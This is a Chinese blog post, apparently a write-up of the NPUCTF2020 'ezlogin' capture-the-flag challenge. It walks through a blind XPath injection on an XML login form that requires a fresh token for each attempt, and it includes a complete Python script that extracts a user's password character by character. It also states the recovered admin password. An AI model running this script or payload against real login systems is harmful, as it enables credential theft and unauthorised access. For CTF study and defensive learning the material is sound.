XPATH注入与[NPUCTF2020]ezlogin

作者: const27 分类: All,XXE,杂七杂八的安全问题 发布时间: 2020-08-14 03:45

参考文章: https://xz.aliyun.com/t/7791#toc-0

xpath注入上面这个文章讲的很好了,这里不说了。

关于题目:

进来后有个登录框,其数据是以xml形式发送给服务器的,且有token令牌

一开始考虑是xxe,但是发现一调用外部实体就会返回格式错误(不贴图了),那么还和xml相关的攻击方法,就有xpath注入了。

经测试,若提交的信息被xpath解析为true,则返回非法操作,反之则是用户名或密码错误

可以盲注。
但这道题最坑的地方还是他那个token验证,恶心死我了。
你提交一次登录信息就必须刷新一下获得新token才能成功提交,否则就会登陆超时。

exp我就直接写最后一步吧,太慢了注得。

这里需要通过requests.session开启会话,不然那个PHPSESSID就会一直变,和token对应不上。

import requests
import re
url="http://05e02200-3674-484d-b5ef-b43672dba870.node3.buuoj.cn/"
s=requests.session()
strs="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
flag=""

for i in range(1,25):
    for j in strs:
        a=s.post(url=url,proxies={"http":"http://127.0.0.1:8080"})
        token=re.findall('<input type="hidden" id="token" value="(.*?)" />',a.text)

        headers = {'content-type': 'application/xml'}
        payload="123' or substring(/root/accounts/user[2]/password/text(),%s,1)='%s' or ' '='"%(i,j)
        post="<username>%s</username><password>2131</password><token>%s</token>"%(payload,token[0])
        r=s.post(url=url,data=post,headers=headers)
        print(payload)
        print(r.text)
        if "非法操作" in r.text:
            flag=flag+j
            break
        print(flag)
print(flag)

如果是完整流程下来,就应该获得了 adm1n 账户的密码: gtfly123

登陆进去后就是简单得文件包含了,不说了

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云